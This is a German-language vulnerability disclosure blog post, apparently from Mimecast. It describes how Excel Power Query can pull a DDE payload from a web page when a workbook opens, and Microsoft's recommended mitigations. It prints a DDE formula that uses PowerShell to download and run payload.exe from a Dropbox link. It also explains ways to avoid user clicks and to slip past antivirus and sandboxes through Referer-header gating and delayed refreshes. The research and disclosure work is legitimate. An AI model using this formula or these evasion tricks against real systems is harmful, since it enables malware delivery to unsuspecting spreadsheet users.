Bedrohungsanalyse

    Exploit mit Microsoft Excel Power Query für entfernte DDE-Ausführung aufgedeckt

    Das Mimecast Threat Center hat eine Schwachstelle im Microsoft Excel-Tool entdeckt, die es ermöglicht, bösartige Nutzdaten aus der Ferne einzubetten.

    by Ofir Shlomo
    gettyimages-860508768.jpg

    Zusammenfassung

    (Anmerkung der Redaktion: Das Team des Mimecast Threat Centers möchte sich für die Beiträge des Teammitglieds Doron Attias zu den folgenden Untersuchungen bedanken).

    Das Mimecast Threat Center hat eine Technik gefunden und entwickelt, die eine Funktion in Microsoft Excel namens Power Query nutzt, um dynamisch einen DDE-Angriff (Dynamic Data Exchange) auf eine Excel-Tabelle zu starten und die Nutzlast Power Query aktiv zu steuern.

    Power Query ist ein leistungsstarkes und skalierbares Business Intelligence (BI)-Tool, mit dem Benutzer ihre Tabellenkalkulationen mit anderen Datenquellen verknüpfen können, z. B. mit einer externen Datenbank, einem Textdokument, einer anderen Tabellenkalkulation oder einer Webseite, um nur einige zu nennen. Wenn Quellen verknüpft sind, können die Daten in die Tabellenkalkulation geladen und gespeichert oder dynamisch geladen werden (z. B. beim Öffnen des Dokuments).

    Das Team des Mimecast Threat Center fand heraus, dass Power Query auch für ausgeklügelte, schwer zu entdeckende Angriffe genutzt werden kann, die mehrere Angriffsflächen kombinieren. Mithilfe von Power Query könnten Angreifer bösartige Inhalte in eine separate Datenquelle einbetten und diese Inhalte dann in die Tabellenkalkulation laden, wenn diese geöffnet wird. Der bösartige Code könnte dazu verwendet werden, Malware abzulegen und auszuführen, die den Computer des Benutzers kompromittiert.

    Die Funktion bietet so umfangreiche Kontrollmöglichkeiten, dass sie dazu verwendet werden kann, einen Fingerabdruck von einer Sandbox oder dem Computer eines Opfers zu erstellen, noch bevor die Nutzdaten übertragen werden. Der Angreifer verfügt über potenzielle Kontrollen vor der Übermittlung von Nutzdaten und vor der Ausbeutung und könnte dem Opfer eine bösartige Nutzlast übermitteln, während er gleichzeitig die Datei für eine Sandbox oder andere Sicherheitslösungen als harmlos erscheinen lässt.

    Mimecast arbeitete mit Microsoft im Rahmen des Coordinated Vulnerability Disclosure (CVD)-Prozesses zusammen, um festzustellen, ob dies ein beabsichtigtes Verhalten von Power Query ist oder ob es sich um ein Problem handelt, das behoben werden muss. Microsoft lehnte es ab, zu diesem Zeitpunkt einen Fix zu veröffentlichen und bot stattdessen einen Workaround an, um das Problem zu entschärfen.

    Erhalten Sie die neuesten Bedrohungsanalysen des Mimecast Threat Center direkt in Ihren Posteingang. Abonnieren Sie noch heute die Cyber Resilience Insights.

    Wir bieten einen detaillierten Überblick über einen potenziellen Exploit, der Power Query verwendet, um einen DDE-Exploit zu starten, der eine Nutzlast von einer File-Sharing-Website ablegen und ausführen kann.

    Bedrohungen, die Power Query als Angriffsfläche nutzen

    Da es sich bei Power Query um ein leistungsfähiges Tool innerhalb von Microsoft Excel handelt, ist die potenzielle Gefahr eines Missbrauchs dieser Funktion groß. Wenn sie ausgenutzt wird, können damit ausgeklügelte Angriffe gestartet werden, die mehrere potenzielle Angriffsflächen kombinieren, von der lokalen Privilegienerweiterung über DDE-Angriffe bis hin zu Exploits für die Remotecodeausführung.

    Die Power Query-Funktion ist so konzipiert, dass Sie Remote-Inhalte einfach und dynamisch einbetten können. Solche Angriffe sind in der Regel schwer zu erkennen und bieten Angreifern mehr Möglichkeiten, den Host des Opfers zu kompromittieren. Durch die potenzielle Schwachstelle in Power Query könnten Angreifer jede beliebige bösartige Nutzlast einbetten, die nicht wie vorgesehen im Dokument selbst gespeichert, sondern beim Öffnen des Dokuments aus dem Internet heruntergeladen wird.

    Um zu demonstrieren, wie Power Query verwendet werden kann, um einen DDE-Exploit zu starten, wurde eine externe Webseite, die die Nutzlast enthält, in die Tabellenkalkulation geladen, und es konnte ein benutzerdefinierter, einfacher HTTP-Server geschrieben werden, um die Nutzlast auf einer zu bedienenden Webseite zu hosten. Der HTTP-Server lauschte lokal auf Port 80 und lieferte den DDE-Inhalt als Antwort, wenn eine Anfrage von der Tabellenkalkulation einging.

    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe } " ;cmd /c payload.exe'!A1,

    power-query-image-1.png

    Die Microsoft Excel 2016-Tabelle verwendete Power Query, um die bösartige Webseite abzufragen, die erstellt wurde ( http://127.0.0.1:80 ).

    power-query-image-2.png

    Der Remote-Inhalt wird abgerufen und in das Arbeitsblatt geladen.

    power-query-image-2a.jpg

    Die Wireshark-Aufzeichnungsdaten wurden verwendet, um den Angriffsfluss zu erkennen. Das erste markierte Paket enthielt die DDE-Formel: die DNS-Anfrage für "dropbox.com", wo die payload.exe und die HTTPS-Sitzung gespeichert wurden und die Nutzlast lieferten.

    power-query-image-3.png
    power-query-image-4.png

    Analysieren des Dateiformats

    Bei der Untersuchung des Dateiformats wurde festgestellt, dass "table/table1.xml" mit den Eigenschaften "name: "localhost"" (Standard) und "type erstellt wurde: "queryTable". "

    Die Verbindung zwischen der Tabelle und den spezifischen Eigenschaften der Abfragetabelle wurde im Stream "rels" ("_rels/table1.xml.rels") beschrieben, der ein Feld namens "target" enthielt und auf "../queryTables/queryTable1.xml" zeigte. Die quetyTable1.xml enthielt Daten, die "connection.xml" (die alle Verbindungseigenschaften der Dokumente sammelt) über das Feld "connectionId" verknüpften. unter "." Die Verbindung wurde mit dem Objekt dbPr über den Befehl "Select *" hergestellt.

    Die Webabfrage selbst wurde im Dokument "xl\customXL\item1" gespeichert und war in base64 kodiert.

    power-query-image-5a.png

    Nach der Dekodierung von base64 öffneten wir das Dokument "section1", das die eigentliche Abfrage enthielt.

    power-query-image-5b.png

    Um die DDE auszuführen, muss der Benutzer auf die Zelle doppelklicken, die die DDE lädt, und dann erneut klicken, um sie freizugeben. Diese Vorgänge lösen die DDE aus und starten die Nutzlast, die aus dem Internet empfangen wurde.

    Umgehung der Notwendigkeit eines Doppelklicks - Ermöglichung der automatisierten Ausführung

    Um das "Click for Run"-Problem zu umgehen, wurde festgestellt, dass es in alten Versionen von Microsoft Office einige Unterschiede in der Implementierung von "Get External Data>> From Web" gibt. Wie bereits erwähnt, wird "dbPr" bei der Verwendung von Microsoft Office 2016 erstellt, und der Benutzer muss handeln, um die Nutzlast zu aktivieren (in einigen Fällen wie Sandboxen können diese Klicks eine Sandbox-Umgehung verursachen).

    Wenn "Get External Data>> From Web" in älteren Office-Versionen (z. B. 2010) verwendet wird, ist das unter "Connections.xml" erstellte Objekt nicht "dbPr", wie zuvor erwähnt, sondern "webPr", was viel einfacher ist. Im Gegensatz zu "dbPr" sind bei "webPr" keine Benutzeraktionen erforderlich, um die Nutzlast auszuführen.

    power-query-image-5c.png

    Umgehung von AVs und Sandboxen mit dem Exploited Power Query Tool

    Hinzufügen von Headern zur Web-Anfrage (Query), so dass die Nutzlast Antiviren- und Sandbox-Funktionen umgehen kann, die genau diese Art von bösartigen Inhalten blockieren sollen. Der Webserver stellte bösartige Inhalte nur dann bereit, wenn ein bestimmter HTTP-Header in der Anfrage enthalten war. Das Antivirenprogramm extrahierte die URL des HTTP-Servers aus der Datei, analysierte aber nicht die Header. Als das Antivirenprogramm eine Testanforderung schickte, wusste der Server, dass diese vom Antivirenprogramm und nicht von der Tabelle stammte.

    Die DDE wird nur zugestellt, wenn der HTTP-Header "Referer" auf "www.google.com" gesetzt ist. Andernfalls wird der Inhalt nicht zugestellt.

    power-query-image-5d.png

    Indem Sie den spezifischen Web-Header mit Hilfe von Power Query im Modus "Erweitert" festlegen. Power Query hat die Web-Anfrage mit dem angeforderten "Referer"-Header ausgeführt.

    power-query-image-12.png

    Wenn eine andere Anwendung versucht, das Verhalten von Power Query teilweise zu simulieren und die Webseite nicht mit dem richtigen "Referer"-Header anfordert, wird die Nutzlast nur beim Öffnen des Originaldokuments mit der Microsoft Excel-Anwendung bereitgestellt.

    power-query-image-13.png

    Da die Sandbox auch die benutzerdefinierte Kopfzeile als Teil der Anfrage sendet, war eine neue Methode erforderlich, um die Erkennung zu vermeiden. Stattdessen wurden in Power Query die Intervalle "auto refresh" und "refresh" verwendet.

    power-query-image-14.png

    Vermeidung bösartiger Inhalte, die diese Datei möglicherweise als Malware kennzeichnen könnten, indem die Datei gezwungen wird, die Daten beim Öffnen zu aktualisieren und die Daten vor dem Speichern aus dem externen Datenbereich zu entfernen. Diese Eigenschaften stellen sicher, dass die Nutzdaten in der Datei aktualisiert werden, wenn die Datei geöffnet wird. Die Datei wird so eingestellt, dass sie jede Minute (die Mindestzeit) aktualisiert wird, und die Nutzdaten werden bei der zehnten Abfrage bereitgestellt. Das bedeutet, dass jede Sandbox, die die Datei in weniger als 10 Minuten ausführt, nie unsere Nutzlast erhält.

    power-query-image-15.png

    Im Fall des angegebenen Beispiels werden die meisten AV-Programme mit statischer Analyse die Datei (die keine Nutzlast enthält) nicht erkennen, und Sandboxen oder andere Sicherheitslösungen, die den Inhalt nur ein- oder zweimal herunterladen, werden ihn ebenfalls nicht erkennen.

    power-query-image-16.png

    Umgehung und Abschluss

    Das Mimecast Threat Center Team hat sich mit unseren Informationen und einem funktionierenden Konzeptnachweis an das Microsoft Security Response Center (MRSC) gewandt. Das MRSC eröffnete einen Fall, aber Microsoft beschloss, dieses Verhalten nicht zu beheben. Die Antwort beinhaltete eine Umgehung, indem entweder eine Gruppenrichtlinie zum Blockieren externer Datenverbindungen oder das Office Trust Center zum Erreichen desselben Ziels verwendet wurde. Das MRSC akzeptierte unser Ersuchen, diese Untersuchung gemäß der CVD-Richtlinie zu veröffentlichen.

    Microsoft hat einen Hinweis (4053440) veröffentlicht, der Schritte und Verfahren zur Bereitstellung von Informationen zu Sicherheitseinstellungen für Microsoft Office-Anwendungen aufzeigt. Dieser Hinweis enthält Anleitungen dazu, was Benutzer tun können, um sicherzustellen, dass diese Anwendungen bei der Verarbeitung von Dynamic Data Exchange-Feldern ordnungsgemäß gesichert sind.

    Die Angreifer versuchen, die Erkennungsmechanismen der Opfer zu unterlaufen. Es besteht zwar die Möglichkeit, dass diese Art von Angriff im Laufe der Zeit entdeckt wird, da Bedrohungsdaten zwischen verschiedenen Sicherheitsexperten und Plattformen für den Informationsaustausch ausgetauscht werden, aber Mimecast empfiehlt allen Microsoft Excel-Kunden dringend, die von Microsoft vorgeschlagenen Abhilfemaßnahmen zu implementieren, da die potenzielle Bedrohung für diese Microsoft-Benutzer real ist und das Exploit schädlich sein könnte.

    Mimecast Targeted Threat Protection erkennt und blockiert die Verwendung dieser Technik durch fortschrittliches Deep-Parsing und Entschleierung nach einer Echtzeit-Codeanalyse jeder analysierten Datei.

    Abonnieren Sie Cyber Resilience Insights für weitere Artikel wie diesen

    Erhalten Sie die neuesten Nachrichten und Analysen aus der Cybersicherheitsbranche direkt in Ihren Posteingang

    Anmeldung erfolgreich

    Vielen Dank, dass Sie sich für den Erhalt von Updates aus unserem Blog angemeldet haben

    Wir bleiben in Kontakt!

    Zurück zum Anfang